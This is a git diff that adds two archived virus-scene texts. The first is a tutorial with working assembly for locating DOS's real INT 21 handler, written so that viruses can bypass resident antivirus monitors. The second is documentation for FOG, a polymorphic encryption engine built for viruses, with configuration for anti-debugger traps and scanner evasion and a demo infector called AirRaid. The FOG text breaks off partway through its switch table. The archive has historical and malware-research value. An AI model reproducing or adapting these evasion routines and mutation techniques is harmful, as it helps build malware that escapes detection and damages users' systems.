mirror of
https://github.com/opsxcq/mirror-textfiles.com.git
synced 2025-08-06 16:26:33 +02:00
update
This commit is contained in:
376
textfiles.com/virus/fndint21.txt
Normal file
376
textfiles.com/virus/fndint21.txt
Normal file
@@ -0,0 +1,376 @@
|
||||
|
||||
|
||||
|
||||
FINDING INT 21's REAL ADDRESS USING THE PSP
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
by Satan's Little Helper
|
||||
|
||||
|
||||
DESCRIPTION
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
The real address of interrupt 21 is useful to almost
|
||||
all viruses it enables viruses to bypass resident monitoring
|
||||
software loaded as device drivers or TSR's. This article will
|
||||
demonstrate a method by which you can obtain the real address
|
||||
of INT 21 by using the entry at offset 6 in the PSP segment.
|
||||
|
||||
PSP:6 contains a double-word pointing (hopefully) to the
|
||||
dos dispatch handler (this is different from the INT 21
|
||||
handler). Then *optionally* the dispatch handler has a series
|
||||
of jumps (opcode=0EAh) then it will either a) point to the
|
||||
dos dispatch handler or b) the double-NOP call construct used
|
||||
in some DOS versions which will then point to (a).
|
||||
|
||||
The dos dispatch handler and int 21 handler in memory appear
|
||||
like this:
|
||||
|
||||
dos_dispatch_handler:
|
||||
0000 1E push ds
|
||||
0001 2E: 8E 1E 3DE7 mov ds,word ptr cs:[3DE7h]
|
||||
0006 8F 06 05EC pop word ptr ds:[5ECh]
|
||||
000A 58 pop ax
|
||||
000B 58 pop ax
|
||||
000C 8F 06 0584 pop word ptr ds:[584h]
|
||||
0010 9C pushf
|
||||
0011 FA cli
|
||||
0012 50 push ax
|
||||
0013 FF 36 0584 push word ptr ds:[584h]
|
||||
0017 FF 36 05EC push word ptr ds:[5ECh]
|
||||
001B 1F pop ds
|
||||
001C 80 F9 24 cmp cl,24h
|
||||
001F 77 DC ja $-22h
|
||||
0021 8A E1 mov ah,cl
|
||||
0023 EB 06 jmp $+8
|
||||
int21_handler:
|
||||
0025 FA cli
|
||||
0026 80 FC 6C cmp ah,6Ch
|
||||
0029 77 D2 ja $-2Ch
|
||||
002B 80 FC 33 cmp ah,33h
|
||||
|
||||
therefore:
|
||||
|
||||
int21_handler = dos_dispatch_handler + 25h
|
||||
|
||||
So the end result is we just find 'dos_dispatch_hndlr'
|
||||
address then check that the opcodes are right (1E2E/FA80)
|
||||
and then add (int21_handler-dos_dispatch_hndlr) to the
|
||||
pointer to dos_dispatch_hndlr to get the INT 21 handler
|
||||
address.
|
||||
|
||||
Simple! (read it again if you don't get it).
|
||||
|
||||
In the case of (b) occurring we just do the same except
|
||||
the offset of the dispatch handler from the int 21
|
||||
handler is different:
|
||||
|
||||
0000 90 nop
|
||||
0001 90 nop
|
||||
0002 E8 00E0 call $+0E3h
|
||||
0005 2E: FF 2E 1062 jmp dword ptr cs:[1062h]
|
||||
000A 90 nop
|
||||
000B 90 nop
|
||||
000C E8 00D6 call $+0D9h
|
||||
000F 2E: FF 2E 1066 jmp dword ptr cs:[1066h]
|
||||
int21_handler:
|
||||
0014 90 nop
|
||||
0015 90 nop
|
||||
0016 E8 00CC call $+0CFh
|
||||
0019 2E: FF 2E 106A jmp dword ptr cs:[106Ah]
|
||||
001E 90 nop
|
||||
001F 90 nop
|
||||
0020 E8 00C2 call $+0C5h
|
||||
0023 2E: FF 2E 106E jmp dword ptr cs:[106Eh]
|
||||
0028 90 nop
|
||||
0029 90 nop
|
||||
002A E8 00B8 call $+0BBh
|
||||
002D 2E: FF 2E 1072 jmp dword ptr cs:[1072h]
|
||||
0032 90 nop
|
||||
0033 90 nop
|
||||
0034 E8 00AE call $+0B1h
|
||||
0037 2E: FF 2E 1076 jmp dword ptr cs:[1076h]
|
||||
003C 90 nop
|
||||
003D 90 nop
|
||||
003E E8 00A4 call $+0A7h
|
||||
0041 2E: FF 2E 107A jmp dword ptr cs:[107Ah]
|
||||
dos_dispatch_handler:
|
||||
0046 90 nop
|
||||
0047 90 nop
|
||||
0048 E8 009A call $+9Dh
|
||||
004B 2E: FF 2E 107E jmp dword ptr cs:[107Eh]
|
||||
|
||||
therefore:
|
||||
|
||||
int21_handler = dos_dispatch_handler - 32h
|
||||
|
||||
|
||||
ADVANTAGES & DISADVANTAGES OF THIS METHOD
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
This method requires a very small amount of code and
|
||||
can be made even more efficient than the code shown below.
|
||||
|
||||
Although untrappable it can be confused into tracing
|
||||
into the resident monitor's trapping code. Much of the
|
||||
logic of this method is hard coded so changes in the
|
||||
opcodes (from TSR AV utilities) will be able to trick it
|
||||
into thinking it has found the correct address (this
|
||||
requires use of the double-NOP signatures).
|
||||
|
||||
AV developers appear to be reluctant to modify their
|
||||
software for specific viruses so may avoid placing the
|
||||
sequence to confuse it into their software.
|
||||
|
||||
CODE
|
||||
<20><><EFBFBD><EFBFBD>
|
||||
|
||||
This code is not designed to be size efficent it is designed
|
||||
to be easy to understand.
|
||||
|
||||
;name: psp_trace
|
||||
;in cond: ds=psp segment
|
||||
;out cond: ds:bx=int 21 address if carry clear
|
||||
; ds:bx=nothing if carry set.
|
||||
;purpose: finds int 21 address using a PSP trace.
|
||||
|
||||
psp_trace:
|
||||
lds bx,ds:[0006h] ;point to dispatch handler
|
||||
trace_next:
|
||||
cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ?
|
||||
jnz check_dispatch
|
||||
lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP
|
||||
cmp word ptr ds:[bx],9090h ;check for double-NOP signature
|
||||
jnz trace_next
|
||||
sub bx,32h ;32h byte offset from dispatch
|
||||
;handler
|
||||
cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works
|
||||
jnz check_dispatch
|
||||
good_search:
|
||||
clc
|
||||
ret
|
||||
check_dispatch:
|
||||
cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override
|
||||
jnz bad_exit
|
||||
add bx,25h ;25h byte offset from dispatch
|
||||
cmp word ptr ds:[bx],80FAh ;check for cli, push ax
|
||||
jz good_search
|
||||
bad_exit:
|
||||
stc
|
||||
ret
|
||||
|
||||
NOTES
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
INT 30h and INT 31h contain *code* (not an address) to
|
||||
jump to the dispatch handler so to trace using INT 30h/31h
|
||||
you just set ds:bx to 0:c0 and call the trace_next in the
|
||||
psp_trace routine.
|
||||
|
||||
Debug hex dump of INT 30/31 addresses in the IVT:
|
||||
|
||||
Immediate far JMP
|
||||
____________
|
||||
-d 0:c0 | |
|
||||
0000:00C0 EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01
|
||||
|_________| |_________|
|
||||
INT 30 INT 31
|
||||
addr addr
|
||||
|
||||
EA 28 00 02 01 = JMP 0102:0028
|
||||
|
||||
;name: int30_trace
|
||||
;out cond: ds:bx=int 21 address if carry clear
|
||||
; ds:bx=nothing if carry set.
|
||||
;purpose: finds int 21 address using an INT 30/31 trace.
|
||||
|
||||
int30_trace:
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
mov bl,0c0h ;point to 0:0c0
|
||||
jmp short trace_next
|
||||
|
||||
|
||||
OTHER NOTES
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
After writing this I heard that the "MG" virus uses the same
|
||||
technique, I have a sample of this virus and it does not use
|
||||
the same technique.
|
||||
|
||||
|
||||
TESTING
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
So far this has been tested on MSDOS 6.x, Novell Netware,
|
||||
and IBM network software all resulting in positive tests.
|
||||
|
||||
Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT
|
||||
could not be found. It is expected that this will not work
|
||||
on *ALL* DOS-type platforms but that is why I implemented
|
||||
error codes in the form of the carry flag being set/clear.
|
||||
|
||||
|
||||
CONCLUSION
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
It has been shown that INT 30h/31h is slightly more
|
||||
reliable than the PSP:6 address, so if a call to psp_trace
|
||||
results in carry set then call int30_trace. The reason
|
||||
you should call PSP trace first is that altering INT 30/31
|
||||
is much easier than altering PSP:6 so it makes the AV do
|
||||
more work ;)
|
||||
|
||||
|
||||
CREDITS
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TaLoN - helped in working out offsets and told me
|
||||
about int 30h/31h pointing to dispatch handler.
|
||||
Lookout Man - tester
|
||||
Aardvark - network tester
|
||||
|
||||
DEMO PROGRAM
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
;-------8<--------cut here---------8<-------
|
||||
|
||||
comment |
|
||||
|
||||
TASM ASSEMBLY:
|
||||
tasm psptest.asm
|
||||
tlink /t psptest.obj
|
||||
|
||||
A86 ASSEMBLY:
|
||||
a86 psptest.asm
|
||||
|
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
mov dx,offset psp_status
|
||||
call print_str ;print "PSP trace: "
|
||||
call psp_trace ;do the trace
|
||||
jc bad_psp
|
||||
print_status:
|
||||
mov dx,offset ok_str ;print "Ok!"
|
||||
call print_str
|
||||
mov dx,offset psp_addr ;print "interrupt trace to: "
|
||||
call print_str
|
||||
push bx
|
||||
mov bx,ds ;print segment
|
||||
call bin_to_hex
|
||||
call print_colon ;print ":"
|
||||
pop bx
|
||||
call bin_to_hex ;print offset
|
||||
jmp do_int30
|
||||
bad_psp:
|
||||
mov dx,offset bad_str
|
||||
call print_str
|
||||
do_int30:
|
||||
nop
|
||||
nop
|
||||
mov word ptr cs:do_int30,20CDh ;exit next time around
|
||||
mov dx,offset i30_status
|
||||
call print_str ;print "PSP trace: "
|
||||
call int30_trace
|
||||
jnc print_status
|
||||
jmp short do_int30
|
||||
|
||||
print_str:
|
||||
mov ah,9
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
int 21h
|
||||
pop ds
|
||||
ret
|
||||
|
||||
psp_addr db 13,10,'Interrupt traced to: $'
|
||||
psp_status db 13,10,'PSP trace : $'
|
||||
i30_status db 13,10,'INT 30/31 trace: $'
|
||||
ok_str db 'Ok!$'
|
||||
bad_str db 'Failure$'
|
||||
|
||||
;name: psp_trace
|
||||
;in cond: ds=psp segment
|
||||
;out cond: ds:bx=int 21 address if carry clear
|
||||
; ds:bx=nothing if carry set.
|
||||
;purpose: finds int 21 address using a PSP trace.
|
||||
|
||||
psp_trace:
|
||||
lds bx,ds:[0006h] ;point to dispatch handler
|
||||
trace_next:
|
||||
cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ?
|
||||
jnz check_dispatch
|
||||
lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP
|
||||
cmp word ptr ds:[bx],9090h ;check for double-NOP signature
|
||||
jnz trace_next
|
||||
sub bx,32h ;32h byte offset from dispatch
|
||||
;handler
|
||||
cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works
|
||||
jnz check_dispatch
|
||||
good_search:
|
||||
clc
|
||||
ret
|
||||
check_dispatch:
|
||||
cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override
|
||||
jnz bad_exit
|
||||
add bx,25h ;25h byte offset from dispatch
|
||||
cmp word ptr ds:[bx],80FAh ;check for cli, push ax
|
||||
jz good_search
|
||||
bad_exit:
|
||||
stc
|
||||
ret
|
||||
|
||||
;name: int30_trace
|
||||
;out cond: ds:bx=int 21 address if carry clear
|
||||
; ds:bx=nothing if carry set.
|
||||
;purpose: finds int 21 address using an INT 30/31 trace.
|
||||
|
||||
int30_trace:
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
mov bl,0c0h ;point to 0:0c0
|
||||
jmp short trace_next
|
||||
|
||||
bin_to_hex: ;will print number in BX as hex
|
||||
push cx ;code stolen from KRTT demo
|
||||
push dx
|
||||
push ax
|
||||
mov ch,4
|
||||
rotate:
|
||||
mov cl,4
|
||||
rol bx,cl
|
||||
mov al,bl
|
||||
and al,0Fh
|
||||
add al,30h
|
||||
cmp al,'9'+1
|
||||
jl print_it
|
||||
add al,07h
|
||||
print_it:
|
||||
mov dl,al
|
||||
mov ah,2
|
||||
int 21h
|
||||
dec ch
|
||||
jnz rotate
|
||||
pop ax
|
||||
pop dx
|
||||
pop cx
|
||||
ret
|
||||
|
||||
print_colon:
|
||||
mov ah,2
|
||||
mov dl,':'
|
||||
int 21h
|
||||
ret
|
||||
|
||||
end start
|
||||
|
||||
;-------8<--------cut here---------8<-------
|
||||
|
585
textfiles.com/virus/fog.txt
Normal file
585
textfiles.com/virus/fog.txt
Normal file
@@ -0,0 +1,585 @@
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
FOG
|
||||
|
||||
A polymorphic encryption algorithm
|
||||
|
||||
by Eclipse
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Disclaimer:
|
||||
|
||||
I have made this mutation engine for fun purposes only.
|
||||
It is made for use in viruses, but not as to promote any
|
||||
intentional harm or damage on computer systems.
|
||||
|
||||
This engine is dedicated to those of you out there who find the
|
||||
concept of replicating programs fascinating. Trojan and
|
||||
destructive virus writers: Get a life.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
USAGE: CODE MODIFICATION INSTRUCTIONS
|
||||
|
||||
1. Enter the statement "extrn fog:near, fog_init:near, rnd:near"
|
||||
into your code in your code segment. Its not really necessary to
|
||||
include the "rnd" part if you do not need a random number generator
|
||||
in your code. You might also find it handy to include the switch
|
||||
definition file (switches.inc) in your code.
|
||||
|
||||
|
||||
|
||||
Example (ideal mode):
|
||||
......
|
||||
.model tiny
|
||||
.radix 16
|
||||
ideal
|
||||
|
||||
segment code word
|
||||
assume cs:code, ds:code, es:code, ss:code
|
||||
|
||||
org 100h
|
||||
|
||||
extrn fog:near, fog_init:near, rnd:near ;here
|
||||
include "switches.inc" ;and here
|
||||
......
|
||||
|
||||
|
||||
or (MASM simplified mode):
|
||||
......
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
extrn fog:near, fog_init:near, rnd:near ;here
|
||||
include switches.inc ;and here
|
||||
......
|
||||
|
||||
or (MASM mode):
|
||||
......
|
||||
.model tiny
|
||||
.radix 16
|
||||
|
||||
code segment word
|
||||
assume cs:code, ds:code, es:code, ss:code
|
||||
|
||||
org 100h
|
||||
|
||||
extrn fog:near, fog_init:near, rnd:near ;here
|
||||
include switches.inc ;and here
|
||||
......
|
||||
|
||||
|
||||
|
||||
2. Initialise fog. Do so by calling fog_init with the appropriate
|
||||
parameters:
|
||||
AH : Debugger hostility switches (see below)
|
||||
AL : Junk generation switches ( ---"--- )
|
||||
CL : General switches ( ---"--- )
|
||||
|
||||
CS:DX : Code to encrypt
|
||||
SI : Size of code to encrypt
|
||||
DI : Where in the decrypted code control should be passed.
|
||||
eg. if execution starts at the beginning of the code,
|
||||
DI = 0.
|
||||
|
||||
Note that this initialization could be done only once, f.ex. at the
|
||||
installation of a TSR virus, and later only be called when there was
|
||||
need for updating the information, typically changing from COM to EXE
|
||||
mutation mode.
|
||||
|
||||
On return from fog_init only one register will have changed;
|
||||
|
||||
CX = Max size of decryptor and encrypted code. This
|
||||
will be the amount of bytes to stealth if you
|
||||
are making a stealth virus and have specified
|
||||
constant code size (sw_const_s) or if you want
|
||||
a tip of how much memory you gonna need for
|
||||
encryption, otherwise ignore.
|
||||
|
||||
|
||||
|
||||
Example:
|
||||
|
||||
....
|
||||
mov ah, sw_prefetch or sw_int3
|
||||
mov al, sw_015_gi
|
||||
;or more efficiently:
|
||||
;mov ax, (sw_prefetch or sw_int3) shl 8 or sw_015_gi
|
||||
mov cl, sw_const_s
|
||||
mov dx, cs:[myoffset]
|
||||
mov si, sizeofvirus
|
||||
xor di, di
|
||||
call fog_init
|
||||
....
|
||||
|
||||
|
||||
|
||||
3. Mutate by calling fog with the following parameters:
|
||||
|
||||
ES : Free segment. This is where the mutated code will be put.
|
||||
Must contain enough memory for the encrypted code
|
||||
and decryptor. When you define high junk generation, the
|
||||
decryptor can be rather ...errr... massive...
|
||||
|
||||
|
||||
BP : Offset of code. Eg. if you write the mutated code to the
|
||||
end of a COM file, then BP should be set to filesize+100h.
|
||||
|
||||
|
||||
Example:
|
||||
....
|
||||
mov bp, ax
|
||||
add bp, 0100
|
||||
mov ax, cs
|
||||
dec ax, (bufferneeded+0fh)/10h
|
||||
mov es, ax
|
||||
call fog
|
||||
mov ah, 40 ;CX = number of bytes, DS:DX = buffer
|
||||
int 21
|
||||
....
|
||||
|
||||
|
||||
|
||||
4. Take note of the register values on return from the
|
||||
fog mutation algorithm:
|
||||
|
||||
DS:DX = ES:0 = Buffer where decryptor and encrypted code will
|
||||
be found.
|
||||
|
||||
CX = Length of decryptor and encrypted code.
|
||||
|
||||
All other registers are preserved.
|
||||
|
||||
|
||||
|
||||
|
||||
USAGE: MEMORY REQUIREMENTS
|
||||
|
||||
When calling fog you should make sure that you have an
|
||||
encryption buffer big enough to accomodate even the largest
|
||||
decryptors + your encrypted code. On its most demanding setting
|
||||
(sw_255_gi / sw_maxhostile) fog will require approximately 16k
|
||||
of memory. If you use fixed file size, the memory required can
|
||||
be even more massive. However, if you reduce the junk generation,
|
||||
fog will need much less memory.
|
||||
|
||||
When you call fog_init, CX will return the maximum size (in bytes)
|
||||
needed.
|
||||
|
||||
Note: Take a look on what I do in AirRaid. I steal a temporary
|
||||
block of memory just to do the encryption, without allocating
|
||||
it. This will work nicely most of the time.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
USAGE: ASSEMBLY INSTRUCTIONS
|
||||
|
||||
Fog is written in TASM 3.0 (C) Borland Inc. and is designed
|
||||
to work with tasm and tasm-compatible assemblers.
|
||||
To use the fog object module in your code:
|
||||
|
||||
tasm /m3 myvir.asm
|
||||
tlink (/t) myvir fog
|
||||
|
||||
If you select to assemble fog down from the source, you should
|
||||
use
|
||||
|
||||
tasm /m3 fog.asm
|
||||
|
||||
before linking the resultant object module into your code.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-------------------------------------------------------------------
|
||||
The code size of FOG in its present condition is 55Bh (1371) bytes.
|
||||
-------------------------------------------------------------------
|
||||
If you modify the source, assemble with TASM /m3 /l and take a
|
||||
look on top of the lst file; there will be a constant named
|
||||
fogsize - this is FOG's effective length.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
TECHNICAL OVERVIEW:
|
||||
|
||||
Fog constructs its decryptor in a stepwise manner.
|
||||
The flow of execution when encrypting can be summarised like this:
|
||||
|
||||
* Choose Initialization strategy
|
||||
* Choose Crypt strategy
|
||||
* Choose Base updating strategy
|
||||
* Choose Loopback strategy
|
||||
|
||||
(Decryptor and encryptor are finished here !!!)
|
||||
|
||||
* Add a jump to starting point in code, often this will be just a JMP 0.
|
||||
* Encrypt main code
|
||||
* If some alignment or static code size is chosen, pad the encrypted
|
||||
code until it has the right size.
|
||||
* Set all registers according to the correct feedback values, and
|
||||
return to caller.
|
||||
|
||||
|
||||
STRATEGIES:
|
||||
|
||||
**** Init Strategy ****
|
||||
This is done by randomly choosing registers for key, base and count
|
||||
and generate MOV reg, imm16 instructions with the appropriate numbers.
|
||||
Junk (if selected) will be filled in between these instructions.
|
||||
|
||||
|
||||
**** Crypt strategy ****
|
||||
The standard crypto instruction will be of the type:
|
||||
( The / separates options that are used with equal probability )
|
||||
|
||||
RND 1..15 * (XOR/SUB/ADD CS:/DS:/ES:/SS: [BX/SI/DI]/[BX/SI/DI+disp16], imm16/reg)
|
||||
RND 0..7 * (ROL reg,1)
|
||||
|
||||
The segment overrides DS:/ES:/SS: will of course only be created in
|
||||
COM file mode, in EXE mode only CS: will appear.
|
||||
|
||||
So decryptors can look like this:
|
||||
|
||||
XOR SS:[SI+0490],FD81 + junk
|
||||
XOR CS:[SI+0490],DX "
|
||||
ADD CS:[SI+0490],DX "
|
||||
SUB CS:[SI+0490],8755 "
|
||||
XOR ES:[SI+0490],5886 "
|
||||
ADD SS:[SI+0490],770B "
|
||||
ADD DS:[SI+0490],0322 "
|
||||
ROL DX,1 "
|
||||
ROL DX,1 "
|
||||
ROL DX,1 "
|
||||
|
||||
or like this:
|
||||
|
||||
XOR SS:[BX],DX + junk
|
||||
|
||||
At the same time as the decryptor instructions are generated, the encryptor
|
||||
is inversely built in the encryptor buffer.
|
||||
As you will have noticed, the key is always word sized.
|
||||
|
||||
|
||||
**** Base updating strategy ****
|
||||
Base updating instructions can be of the type:
|
||||
ADD reg, 2/-2
|
||||
or
|
||||
SUB reg, 2/-2
|
||||
or
|
||||
DEC reg
|
||||
DEC reg
|
||||
or
|
||||
INC reg
|
||||
INC reg
|
||||
|
||||
|
||||
**** Loopback strategy ****
|
||||
Loopbacks will look like this:
|
||||
|
||||
LOOP ...
|
||||
|
||||
or
|
||||
|
||||
DEC reg
|
||||
JNZ .....
|
||||
|
||||
(The above will only be used if backwards jump is less than 128 bytes.)
|
||||
|
||||
or
|
||||
|
||||
DEC reg
|
||||
JZ 03
|
||||
JMP ....
|
||||
|
||||
or
|
||||
|
||||
DEC reg
|
||||
JZ 05
|
||||
MOV reg, offset ....
|
||||
PUSH reg
|
||||
RET
|
||||
|
||||
|
||||
There are many more ways to do this, of course, use your
|
||||
imagination and add some.
|
||||
|
||||
|
||||
STRONG POINTS:
|
||||
|
||||
* Cryptographic toughness
|
||||
FOG utilises a powerful mutation encryption algorithm, making
|
||||
the encryptors very variable indeed. Cryptanalysis is going to
|
||||
be hard on this one, as there is between 1 and 15 random
|
||||
xor/sub/add/rol operations with different keys on each element
|
||||
to be encrypted. With the change of just one constant in the
|
||||
enclosed source this number can be much increased.
|
||||
|
||||
|
||||
* Junk instruction generation
|
||||
The junk instructions, generically generated by FOG, includes
|
||||
instructions of 1, 2, 3, 4, 5 and even 2*7 bytes, and FOG can
|
||||
generate up to 255 such junk instructions between *each*
|
||||
good instruction. I've had test decryptors varying between
|
||||
20 bytes and 10k (!).
|
||||
|
||||
|
||||
* Configurable
|
||||
FOG is configurable in most aspects. Based on what you tell it, it
|
||||
will behave very differently from configuration to configuration.
|
||||
|
||||
Examples:
|
||||
|
||||
1. mov al, sw_nogarb
|
||||
call fog_init
|
||||
|
||||
This will cause FOG to generate short decryptors without any garbage
|
||||
or debugger hostile instructions at all. Turning off garbage also turns
|
||||
off debugger hostility, so any value in AH will be ignored. The
|
||||
encryption will however be just as strong as before, and the decryptor
|
||||
will still mutate.
|
||||
|
||||
2. mov al, sw_007_gi
|
||||
mov ah, sw_int3 or sw_prefetch
|
||||
call fog_init
|
||||
|
||||
|
||||
This setting will cause FOG to generate between 1 and 7 junk
|
||||
instructions between each good one. Randomly interspersed in
|
||||
these junk instructions will be some debugger hostile instructions,
|
||||
in this case int 3's and prefetch traps. The int 3's are just
|
||||
bothersome when debugging, the prefetch traps will fool the unin-
|
||||
telligent debuggers and some of those programs who try to auto-
|
||||
matically decrypt the encrypted code; TbClean crashes spectacularly.
|
||||
|
||||
|
||||
3. mov al, sw_255_gi
|
||||
mov ah, sw_debug
|
||||
call fog_init
|
||||
|
||||
This setting will cause FOG to generate medium to very big
|
||||
decryptors, as there will be between 1 and 255 garbage instructions
|
||||
between each good instruction. However, setting ah to sw_debug causes
|
||||
the garbage generated to not contain any debugger hostility at all,
|
||||
and *no encryption will be performed*.
|
||||
|
||||
4. mov cl, (sw_r_garb or sw_r_host)
|
||||
call fog_init
|
||||
|
||||
This will tell FOG to ignore any settings of AH or AL, and randomly
|
||||
choose a setting for itself. Thus the setting may be one of extreme
|
||||
garbage generation and/or hostility or the opposite. Note that FOG
|
||||
will behave according to this until next time you call fog_init, and
|
||||
another random setting will be chosen. If used in a virus, his would
|
||||
have the effect that samples of one generation could be *totally*
|
||||
different from samples of another generation
|
||||
|
||||
|
||||
5. mov cl, sw_const_s
|
||||
call fog_init
|
||||
|
||||
This will cause FOG to generate decryptor+encrypted code of
|
||||
constant size each time you encrypt. This will be of use for
|
||||
stealth virus production. Fog manages this by padding all
|
||||
encryptions up to the point where it's very unlikely that a
|
||||
bigger decryptor will be created. Note that with high junk
|
||||
configuration there often will be a nauseatingly huge pad area
|
||||
at the end of files.
|
||||
|
||||
6. mov cl, sw_align16
|
||||
call fog_init
|
||||
|
||||
Some people make viruses that need to be padded up to a paragraph
|
||||
border, for self recognition or other purposes. With this setting
|
||||
FOG will do that.
|
||||
|
||||
7. mov cl, sw_align256
|
||||
call fog_init
|
||||
|
||||
Same as previous, but with 256 byte page borders.
|
||||
|
||||
|
||||
|
||||
* Generic programming
|
||||
|
||||
This engine is released with the commented original source code.
|
||||
It's of course possible to improve the engine, and it's relatively
|
||||
easy to do so around its current framework. For instance is the garbage
|
||||
generation modular, by adding another module and updating the jump
|
||||
addresses FOG will spew out the new instructions just as easy and
|
||||
randomly as those included in the source. You may also note the
|
||||
vacant switches, where you may add more configurable options.
|
||||
One of FOG's strongest points is just this; by releasing the source
|
||||
it will mutate not just decryptors, but with time also it's own
|
||||
functionality.
|
||||
|
||||
|
||||
WEAK POINTS:
|
||||
|
||||
* Decryptor obviousness
|
||||
|
||||
Decryptors generated with this engine do not have any mechanisms to
|
||||
hide that they are decryptors (except junk). They do not generate
|
||||
any codesequence to fool scanners into believing that this is a
|
||||
legitimate program. Thus, heuristic scanners may smell a rat,
|
||||
especially TbScan when FOG uses low junk/hostility settings.
|
||||
TbScan detects the presence of a decryptor and sometimes succeed
|
||||
to decrypt the encrypted program. On high junk/hostility settings,
|
||||
however, TbScan mostly chokes and dies. The prefetch traps generate
|
||||
much noise, in the sense that they mess with memory and cause TbScan
|
||||
to whip out @, 1, D and U flags galore. On rare occasions they also
|
||||
cause the program to terminate or even hang. I have included jmp
|
||||
instructions in the standard set of functions from FOG, however
|
||||
these sometimes generate TbScan @ and J flags.
|
||||
|
||||
* Scanning vulnerability
|
||||
|
||||
When high debugger hostility is chosen, FOG generates fixed
|
||||
codesequences that might be scanned for, particularly the
|
||||
prefetch traps. This might be something to have in mind.
|
||||
|
||||
* Huuuuuuge decryptors
|
||||
|
||||
As mentioned before, with high garbage settings FOG may generate
|
||||
very large decryptors indeed. This may cause not only a considerable
|
||||
file growth, but also a noticeable timelag upon decrypting.
|
||||
|
||||
* Statistical analysis vulnerability
|
||||
|
||||
There is a chance that FOG will be vulnerable to statistical analysis.
|
||||
I have not performed any statistical computations on FOG's decryptors
|
||||
myself, but I think this might be done. However, scanners will have
|
||||
a hard time detecting *all* FOG encrypted viruses, due to FOG's
|
||||
variability.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
THE DEMO VIRUSES:
|
||||
|
||||
Enclosed you will find the source and executables of different
|
||||
versions of AirRaid, which is the demo virus for this engine.
|
||||
|
||||
AirRaid is a non-destructive resident *.com infector, made
|
||||
specifically for this purpose. Its lameness is also by intent.
|
||||
It will infect any *.com file (of proper size) executed. Infection
|
||||
marker is 'AR' at byte 4 and 5 in the file.
|
||||
|
||||
The different versions are made to demonstrate the easy way you
|
||||
can configure the virus to do what you want.
|
||||
|
||||
Ver 1. Plain virus, Fog not attached.
|
||||
Ver 2. Fog attached, configured to no garbage.
|
||||
Ver 3. Fog attached, configured to 15 garbage instructions,
|
||||
max hostility, fixed length
|
||||
Ver 4. Fog attached, configured to random garbage, random hostility.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
SWITCHES (as defined in the switches.inc file):
|
||||
|
||||
AH AL
|
||||
Debugger hostility F E D C B A 9 8 7 6 5 4 3 2 1 0 Junk generation
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> 1 junk instruction
|
||||
